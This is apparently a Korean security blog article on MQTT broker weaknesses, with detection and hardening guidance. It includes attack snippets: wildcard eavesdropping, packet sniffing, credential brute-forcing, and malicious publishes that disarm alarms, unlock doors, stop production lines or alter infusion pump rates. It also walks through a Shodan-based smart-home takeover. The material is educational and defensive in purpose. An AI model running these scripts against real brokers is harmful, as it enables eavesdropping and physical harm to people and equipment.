/보안 기법/MQTT 프로토콜 보안 취약점 — IoT 환경의 숨겨진 위협
IoT 보안2026-05-09

MQTT 프로토콜 보안 취약점 — IoT 환경의 숨겨진 위협

MQTT 프로토콜의 익명 접속, 평문 전송, 토픽 인가 부재 등 IoT 환경에서 자주 발생하는 보안 취약점을 코드 예시와 함께 분석하고, 실제 스마트홈·산업 제어 시스템 침투 시나리오와 대응 방법을 정리.

#IoT#MQTT#브로커#인증#암호화#Mosquitto

MQTT 프로토콜 보안 취약점 — IoT 환경의 숨겨진 위협

MQTT란 무엇인가

MQTT(Message Queuing Telemetry Transport)는 IoT(사물인터넷) 환경에서 가장 널리 사용되는 경량 메시지 프로토콜입니다. 1999년 IBM이 원유 파이프라인 모니터링을 위해 개발했으며, 현재는 스마트홈 기기, 산업용 센서, 자동차, 의료 장비 등 수십억 개의 IoT 장치에서 사용됩니다.

MQTT의 기본 구조

MQTT는 발행-구독(Publish-Subscribe) 모델을 사용합니다:

[센서/장치] → PUBLISH → [브로커(Broker)] → SUBSCRIBE → [애플리케이션/서버]
   Publisher                                               Subscriber
  • Publisher(발행자): 데이터를 특정 토픽(Topic)에 게시
  • Broker(브로커): 메시지를 수신하고 구독자에게 전달하는 중개 서버
  • Subscriber(구독자): 특정 토픽을 구독하여 메시지 수신
  • Topic: 메시지를 분류하는 문자열 경로 (예: home/livingroom/temperature)

MQTT가 IoT에 적합한 이유는 경량성 때문입니다. 헤더 오버헤드가 최소 2바이트에 불과하여 배터리가 제한된 장치나 저대역폭 네트워크에서도 효율적으로 동작합니다. 기본 포트는 1883(평문), **8883(TLS 암호화)**입니다.


MQTT의 주요 보안 취약점

1. 인증 없는 브로커 접속 (Unauthenticated Access)

취약점 개요: MQTT 브로커는 기본 설정에서 인증 없이 누구나 접속할 수 있는 경우가 많습니다. 클라이언트는 usernamepassword 필드를 비워둔 채 연결할 수 있으며, 잘못 설정된 브로커는 이를 허용합니다.

취약한 설정 예시 (Mosquitto 브로커):

# mosquitto.conf — 위험한 기본 설정
allow_anonymous true   # 익명 접속 허용
listener 1883          # 모든 인터페이스에서 수신

공격 예시:

import paho.mqtt.client as mqtt

# 인증 없이 브로커 접속
client = mqtt.Client()
client.connect("target-broker.example.com", 1883)

# 모든 토픽 구독 (와일드카드 사용)
client.subscribe("#")  # '#'는 모든 토픽을 의미

def on_message(client, userdata, msg):
    print(f"[{msg.topic}] {msg.payload.decode()}")

client.on_message = on_message
client.loop_forever()

# 와일드카드로 모든 토픽을 구독하면 브로커를 통과하는 모든 메시지를 도청할 수 있습니다. 실제로 Shodan에서 mqtt 검색 시 인증 없이 접속 가능한 브로커가 수만 개 노출됩니다.


2. TLS 미적용으로 인한 평문 전송

취약점 개요: MQTT 기본 포트(1883)는 암호화 없이 평문으로 데이터를 전송합니다. 네트워크 경로상에 있는 공격자는 패킷을 캡처하여 민감한 데이터를 탈취할 수 있습니다.

Wireshark로 MQTT 패킷 캡처 예시:

MQTT CONNECT Packet:
  Protocol: MQTT
  Version: 3.1.1
  Client ID: "smart-thermostat-01"
  Username: "admin"
  Password: "password123"  ← 평문 노출!

MQTT PUBLISH Packet:
  Topic: home/security/alarm_code
  Payload: "1234"          ← 보안 코드 평문 노출!

Man-in-the-Middle 공격:

# 네트워크 스니핑 개념 예시 (scapy 사용)
from scapy.all import sniff, TCP

def extract_mqtt(packet):
    if packet.haslayer(TCP) and packet[TCP].dport == 1883:
        payload = bytes(packet[TCP].payload)
        if len(payload) > 0:
            print(f"MQTT 평문 데이터: {payload}")

sniff(filter="tcp port 1883", prn=extract_mqtt, store=0)

3. 취약한 인증 — 기본 자격증명 및 약한 비밀번호

취약점 개요: 많은 IoT 장치와 브로커가 기본 자격증명(admin/admin, admin/password 등)을 사용하거나 단순한 비밀번호를 설정합니다.

브루트포스 공격 개념:

import paho.mqtt.client as mqtt

common_passwords = ["admin", "password", "1234", "mqtt", "broker", "test", ""]
username = "admin"

for pwd in common_passwords:
    client = mqtt.Client()
    client.username_pw_set(username, pwd)
    
    result = client.connect("target-broker.com", 1883, keepalive=5)
    if result == 0:
        print(f"[!] 접속 성공! 자격증명: {username}:{pwd}")
        break
    client.disconnect()

실제 악용 사례:

  • 스마트홈 브로커 침투 → 조명, 자동문, 보안카메라 제어 탈취
  • 산업 제어 시스템(ICS) 브로커 침투 → 물리적 설비 조작
  • 의료 기기 브로커 침투 → 환자 모니터링 데이터 조작

4. 토픽 인가(Authorization) 부재 — 무단 토픽 발행

취약점 개요: 인증은 되었지만 **토픽별 접근 제어(ACL)**가 없는 경우, 모든 인증된 사용자가 임의의 토픽에 발행하거나 구독할 수 있습니다.

악성 명령 주입:

import paho.mqtt.client as mqtt

client = mqtt.Client()
client.username_pw_set("legitimate_user", "known_password")
client.connect("target-broker.com", 1883)

# 다른 장치의 제어 토픽에 악성 명령 발행
client.publish("factory/line1/motor/control", "STOP")     # 생산라인 정지
client.publish("home/security/alarm", "DISARM")           # 보안 알람 해제
client.publish("vehicle/engine/command", "SHUTDOWN")      # 차량 엔진 강제 종료
client.publish("hospital/infusion_pump/rate", "999")      # 주입 속도 비정상 변경

토픽 구조 탐색:

# 와일드카드로 토픽 구조 파악
client.subscribe("#")     # 모든 토픽
client.subscribe("+/+/#") # 3단계 이상의 모든 토픽
client.subscribe("home/#") # home 하위 모든 토픽

5. Retained Message 악용

취약점 개요: MQTT의 Retained Message 기능은 브로커가 마지막 메시지를 저장하고 신규 구독자에게 즉시 전달합니다. 공격자가 악성 Retained Message를 발행하면, 이후 해당 토픽을 구독하는 모든 클라이언트에 지속적으로 전달됩니다.

import paho.mqtt.client as mqtt

client = mqtt.Client()
client.connect("target-broker.com", 1883)

# retain=True로 악성 메시지 영구 저장
client.publish(
    topic="home/thermostat/setpoint",
    payload="99",    # 온도를 99도로 설정 (물리적 피해 가능)
    qos=1,
    retain=True      # 브로커에 영구 저장
)

# 이후 이 토픽을 구독하는 모든 장치에 "99"가 전달됨

6. MQTT over WebSocket 취약점

취약점 개요: MQTT는 WebSocket을 통해 웹 브라우저에서도 접속 가능합니다(포트 9001 또는 8083). 웹 기반 대시보드가 MQTT에 직접 연결되는 경우, XSS 공격과 결합하면 브라우저를 통해 MQTT 브로커를 조작할 수 있습니다.

// 브라우저에서 MQTT 직접 접속 (mqtt.js 라이브러리)
const client = mqtt.connect('ws://vulnerable-broker.com:9001');

client.on('connect', () => {
  // XSS로 실행된 악성 스크립트가 피해자의 브라우저에서 실행
  client.subscribe('#');              // 모든 데이터 도청
  client.publish('home/door/lock', 'UNLOCK');  // 문 잠금 해제
});

7. $SYS 토픽 정보 노출

취약점 개요: MQTT 브로커는 $SYS 토픽 계층에 브로커 상태, 연결된 클라이언트 목록, 메시지 통계 등 민감한 정보를 게시합니다.

# mosquitto_sub으로 $SYS 토픽 수집
mosquitto_sub -h target-broker.com -t '$SYS/#' -v

# 출력 예시
$SYS/broker/clients/connected: 47
$SYS/broker/clients/total: 1203
$SYS/broker/version: mosquitto version 1.6.8
$SYS/broker/clients/active: admin_dashboard,thermostat_01,camera_02,...

이를 통해 공격자는 브로커 버전(알려진 취약점 파악), 연결된 클라이언트 목록, 네트워크 토폴로지를 파악할 수 있습니다.


실제 공격 시나리오: 스마트홈 침투

시나리오: 공개 브로커를 통한 스마트홈 장악

[인터넷에 노출된 MQTT 브로커]
  포트 1883 오픈, 익명 접속 허용
  
공격자 흐름:
1. Shodan: port:1883 → 노출된 브로커 목록 수집
2. mosquitto_sub -h TARGET -t '#' → 모든 토픽/메시지 도청
3. 토픽 구조 파악: home/*/door/lock, home/*/alarm, home/*/camera
4. 악성 명령 발행: PUBLISH home/frontdoor/lock "UNLOCK"
5. 보안 시스템 비활성화: PUBLISH home/alarm/status "DISARM"

Shodan 검색 쿼리:

port:1883 MQTT
port:8883 MQTT
product:"Mosquitto"

탐지 방법

브로커 레벨 모니터링

Mosquitto 감사 로그 설정:

# mosquitto.conf
log_type all
log_dest file /var/log/mosquitto/mosquitto.log
log_timestamp true

이상 징후 탐지:

# 짧은 시간 내 다수 토픽 구독 (정보 수집 시도)
grep "SUBSCRIBE" /var/log/mosquitto/mosquitto.log | awk '{print $5}' | sort | uniq -c | sort -rn

# 비정상적인 토픽 발행 패턴
grep "PUBLISH" /var/log/mosquitto/mosquitto.log | grep -E "(#|\+|command|control|admin)"

# 실패한 인증 시도 (브루트포스)
grep "authentication failed" /var/log/mosquitto/mosquitto.log | wc -l

네트워크 레벨 탐지

# Snort/Suricata IDS 규칙
alert tcp any any -> $HOME_NET 1883 (
  msg: "MQTT Anonymous CONNECT attempt";
  content: "|10|";           # CONNECT 패킷 유형
  content: "|00 04|MQTT";    # MQTT 프로토콜 식별자
  byte_test: 1, =, 0, 0;    # 사용자명/패스워드 플래그 없음
  sid: 9001001; rev:1;
)

alert tcp any any -> $HOME_NET 1883 (
  msg: "MQTT Wildcard Subscribe ALL Topics";
  content: "|82|";    # SUBSCRIBE 패킷
  content: "#";       # 전체 와일드카드
  sid: 9001002; rev:1;
)

대응 방법

1. 인증 강화

Mosquitto ACL 설정:

# mosquitto.conf
allow_anonymous false
password_file /etc/mosquitto/passwd
acl_file /etc/mosquitto/acl

# ACL 파일 예시 (/etc/mosquitto/acl)
# 사용자별 토픽 접근 권한 제어
user sensor_device_01
topic read  home/sensor/+/data      # 읽기만 허용
topic write home/sensor/01/#        # 자신의 토픽만 쓰기 허용

user admin_dashboard
topic read  #                       # 모든 토픽 읽기
topic write home/commands/#         # 명령 토픽만 쓰기

비밀번호 파일 생성:

# 새 비밀번호 파일 생성
mosquitto_passwd -c /etc/mosquitto/passwd admin

# 사용자 추가
mosquitto_passwd /etc/mosquitto/passwd sensor_device_01

2. TLS 암호화 적용

# mosquitto.conf — TLS 설정
listener 8883
tls_version tlsv1.3

cafile /etc/mosquitto/certs/ca.crt
certfile /etc/mosquitto/certs/server.crt
keyfile /etc/mosquitto/certs/server.key

# 클라이언트 인증서 검증 (mTLS)
require_certificate true
use_identity_as_username true

클라이언트 TLS 연결:

import paho.mqtt.client as mqtt
import ssl

client = mqtt.Client()
client.tls_set(
    ca_certs="/path/to/ca.crt",
    certfile="/path/to/client.crt",
    keyfile="/path/to/client.key",
    tls_version=ssl.PROTOCOL_TLSv1_2
)
client.username_pw_set("device_01", "strong_password_here")
client.connect("broker.example.com", 8883)

3. 네트워크 수준 격리

권장 네트워크 아키텍처:

[IoT 장치] → [IoT VLAN]
                  ↓
             [MQTT 브로커]
                  ↓ (인터넷 직접 노출 금지)
             [API Gateway / 역방향 프록시]
                  ↓
             [애플리케이션 서버]

방화벽 규칙:
- 포트 1883(평문)은 외부에서 완전 차단
- 포트 8883(TLS)은 신뢰할 수 있는 IP만 허용
- IoT VLAN에서 다른 VLAN으로의 직접 통신 차단

4. 보안 설정 체크리스트

항목 기본값 권장값
익명 접속 허용 차단 (allow_anonymous false)
기본 포트 1883 (평문) 8883 (TLS) 전용
와일드카드 구독 허용 ACL로 제한
$SYS 토픽 공개 관리자만 접근
클라이언트 ID 중복 허용 고유 ID 강제
메시지 크기 제한 무제한 적절한 상한 설정
연결 횟수 제한 없음 Rate limiting 적용
Retain Message 허용 필요한 토픽만 허용

5. 클라이언트 보안 강화

# 보안이 강화된 MQTT 클라이언트 구현 예시
import paho.mqtt.client as mqtt
import ssl
import hashlib
import time

class SecureMQTTClient:
    def __init__(self, broker, port=8883):
        self.client = mqtt.Client(
            client_id=self._generate_client_id(),
            clean_session=True
        )
        self._setup_tls()
        self.broker = broker
        self.port = port
    
    def _generate_client_id(self):
        # 예측 불가능한 클라이언트 ID 생성
        return hashlib.sha256(
            f"{time.time()}".encode()
        ).hexdigest()[:16]
    
    def _setup_tls(self):
        context = ssl.create_default_context()
        context.minimum_version = ssl.TLSVersion.TLSv1_2
        context.load_cert_chain("/path/to/client.crt", "/path/to/client.key")
        self.client.tls_set_context(context)
    
    def connect(self, username, password):
        self.client.username_pw_set(username, password)
        self.client.connect(self.broker, self.port, keepalive=60)

MQTT 보안 스캐닝 도구

도구 용도
mqtt-pwn MQTT 브로커 취약점 자동 스캔
mosquitto_sub 토픽 구독 및 메시지 모니터링
Shodan 인터넷 노출 MQTT 브로커 탐색
Wireshark MQTT 패킷 분석
MQTTX GUI 기반 MQTT 클라이언트 (테스트용)
mqtt-fuzz MQTT 프로토콜 퍼징

참고 자료

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.